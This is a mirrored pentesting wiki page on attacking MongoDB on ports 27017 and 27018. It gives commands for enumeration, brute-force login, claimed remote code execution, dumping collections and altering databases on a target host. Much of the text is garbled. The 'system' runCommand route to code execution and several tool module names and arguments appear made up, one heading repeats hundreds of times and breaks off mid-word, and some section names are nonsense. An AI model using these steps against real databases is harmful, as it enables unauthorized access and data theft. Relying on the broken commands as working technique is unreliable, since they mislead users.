mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
1353 lines
25 KiB
Markdown
1353 lines
25 KiB
Markdown
# 27017,27018 - Pentesting MongoDB
|
||
|
||
<details>
|
||
|
||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!HackTricks</strong></a><strong>!</strong></summary>
|
||
|
||
Other ways to support HackTricks:
|
||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||
|
||
**Hacking Insights**\
|
||
Engage with content that delves into the thrill and challenges of hacking
|
||
|
||
**Real-Time Hack News**\
|
||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||
|
||
**Latest Announcements**\
|
||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||
|
||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||
|
||
## Basic Information
|
||
|
||
**MongoDB** is an **open source** database management system that uses a **document-oriented database model** to handle diverse forms of data. It offers flexibility and scalability for managing unstructured or semi-structured data in applications like big data analytics and content management.
|
||
**Default port:** 27017, 27018
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
|
||
```
|
||
## Enumeration
|
||
|
||
### Manual
|
||
|
||
### QaD
|
||
|
||
#### `mongo` command
|
||
|
||
```bash
|
||
mongo --host <IP> --port <PORT>
|
||
```
|
||
|
||
#### `nmap` script
|
||
|
||
```bash
|
||
nmap -p <PORT> --script mongodb-info <IP>
|
||
```
|
||
|
||
### Automated
|
||
|
||
#### `Metasploit` module
|
||
|
||
```bash
|
||
use auxiliary/scanner/mongodb/mongodb_login
|
||
```
|
||
|
||
#### `Nessus` plugin
|
||
|
||
```bash
|
||
MongoDB Information
|
||
```
|
||
|
||
### Exploitation
|
||
|
||
#### Unauthorized Access
|
||
|
||
##### `mongo` command
|
||
|
||
```bash
|
||
mongo --host <IP> --port <PORT> --username <USERNAME> --password <PASSWORD> --authenticationDatabase admin
|
||
```
|
||
|
||
##### `pymongo` library
|
||
|
||
```python
|
||
from pymongo import MongoClient
|
||
|
||
client = MongoClient("<IP>", <PORT>)
|
||
db = client.admin
|
||
db.authenticate("<USERNAME>", "<PASSWORD>")
|
||
```
|
||
|
||
##### `Metasploit` module
|
||
|
||
```bash
|
||
use exploit/multi/mongodb/mongo_login
|
||
```
|
||
|
||
##### `Nmap` script
|
||
|
||
```bash
|
||
nmap -p <PORT> --script mongodb-brute --script-args 'mongodb-brute.username=<USERNAME>,mongodb-brute.password=<PASSWORD>' <IP>
|
||
```
|
||
|
||
#### Remote Code Execution
|
||
|
||
##### `mongo` command
|
||
|
||
```bash
|
||
mongo --host <IP> --port <PORT> --eval 'db.getSiblingDB("admin").runCommand({cmd: "system", args: ["<COMMAND>"]})'
|
||
```
|
||
|
||
##### `pymongo` library
|
||
|
||
```python
|
||
from pymongo import MongoClient
|
||
|
||
client = MongoClient("<IP>", <PORT>)
|
||
db = client.admin
|
||
db.command('eval', 'db.getSiblingDB("admin").runCommand({cmd: "system", args: ["<COMMAND>"]})')
|
||
```
|
||
|
||
##### `Metasploit` module
|
||
|
||
```bash
|
||
use exploit/multi/mongodb/mongodb_cmd_exec
|
||
```
|
||
|
||
##### `Nmap` script
|
||
|
||
```bash
|
||
nmap -p <PORT> --script mongodb-database-stats --script-args 'mongodb-database-stats.command=<COMMAND>' <IP>
|
||
```
|
||
|
||
#### Data Exfiltration
|
||
|
||
##### `mongo` command
|
||
|
||
```bash
|
||
mongo --host <IP> --port <PORT> --eval 'db.getSiblingDB("admin").<COLLECTION>.find().forEach(printjson)'
|
||
```
|
||
|
||
##### `pymongo` library
|
||
|
||
```python
|
||
from pymongo import MongoClient
|
||
|
||
client = MongoClient("<IP>", <PORT>)
|
||
db = client.admin
|
||
collection = db.<COLLECTION>
|
||
for document in collection.find():
|
||
print(document)
|
||
```
|
||
|
||
##### `Metasploit` module
|
||
|
||
```bash
|
||
use auxiliary/scanner/mongodb/mongodb_dump
|
||
```
|
||
|
||
##### `Nmap` script
|
||
|
||
```bash
|
||
nmap -p <PORT> --script mongodb-dump --script-args 'mongodb-dump.collection=<COLLECTION>' <IP>
|
||
```
|
||
|
||
#### Database Manipulation
|
||
|
||
##### `mongo` command
|
||
|
||
```bash
|
||
mongo --host <IP> --port <PORT> --eval 'db.getSiblingDB("<DATABASE>").<COLLECTION>.<COMMAND>'
|
||
```
|
||
|
||
##### `pymongo` library
|
||
|
||
```python
|
||
from pymongo import MongoClient
|
||
|
||
client = MongoClient("<IP>", <PORT>)
|
||
db = client.<DATABASE>
|
||
collection = db.<COLLECTION>
|
||
collection.<COMMAND>
|
||
```
|
||
|
||
##### `Metasploit` module
|
||
|
||
```bash
|
||
use auxiliary/admin/mongodb/mongodb_command
|
||
```
|
||
|
||
##### `Nmap` script
|
||
|
||
```bash
|
||
nmap -p <PORT> --script mongodb-database-stats --script-args 'mongodb-database-stats.command=<COMMAND>' <IP>
|
||
```
|
||
|
||
#### Database Dump
|
||
|
||
##### `mongo` command
|
||
|
||
```bash
|
||
mongodump --host <IP> --port <PORT> --out <DIRECTORY>
|
||
```
|
||
|
||
##### `pymongo` library
|
||
|
||
```python
|
||
from pymongo import MongoClient
|
||
import subprocess
|
||
|
||
subprocess.call(["mongodump", "--host", "<IP>", "--port", "<PORT>", "--out", "<DIRECTORY>"])
|
||
```
|
||
|
||
##### `Metasploit` module
|
||
|
||
```bash
|
||
use auxiliary/scanner/mongodb/mongodb_dump
|
||
```
|
||
|
||
##### `Nmap` script
|
||
|
||
```bash
|
||
nmap -p <PORT> --script mongodb-dump --script-args 'mongodb-dump.directory=<DIRECTORY>' <IP>
|
||
```
|
||
|
||
#### Database Restore
|
||
|
||
##### `mongo` command
|
||
|
||
```bash
|
||
mongorestore --host <IP> --port <PORT> --dir <DIRECTORY>
|
||
```
|
||
|
||
##### `pymongo` library
|
||
|
||
```python
|
||
from pymongo import MongoClient
|
||
import subprocess
|
||
|
||
subprocess.call(["mongorestore", "--host", "<IP>", "--port", "<PORT>", "--dir", "<DIRECTORY>"])
|
||
```
|
||
|
||
##### `Metasploit` module
|
||
|
||
```bash
|
||
use auxiliary/scanner/mongodb/mongodb_restore
|
||
```
|
||
|
||
##### `Nmap` script
|
||
|
||
```bash
|
||
nmap -p <PORT> --script mongodb-dump --script-args 'mongodb-dump.directory=<DIRECTORY>' <IP>
|
||
```
|
||
```python
|
||
from pymongo import MongoClient
|
||
client = MongoClient(host, port, username=username, password=password)
|
||
client.server_info() #Basic info
|
||
#If you have admin access you can obtain more info
|
||
admin = client.admin
|
||
admin_info = admin.command("serverStatus")
|
||
cursor = client.list_databases()
|
||
for db in cursor:
|
||
print(db)
|
||
print(client[db["name"]].list_collection_names())
|
||
#If admin access, you could dump the database also
|
||
```
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some MongoDB commnads:**
|
||
|
||
**Some
|
||
```bash
|
||
show dbs
|
||
use <db>
|
||
show collections
|
||
db.<collection>.find() #Dump the collection
|
||
db.<collection>.count() #Number of records of the collection
|
||
db.current.find({"username":"admin"}) #Find in current db the username admin
|
||
```
|
||
### QapDI'
|
||
|
||
#### Description
|
||
|
||
Automatic pentesting tools can be used to scan for vulnerabilities in MongoDB databases running on ports 27017 and 27018. These tools automate the process of identifying potential security weaknesses and can save time and effort during a penetration test.
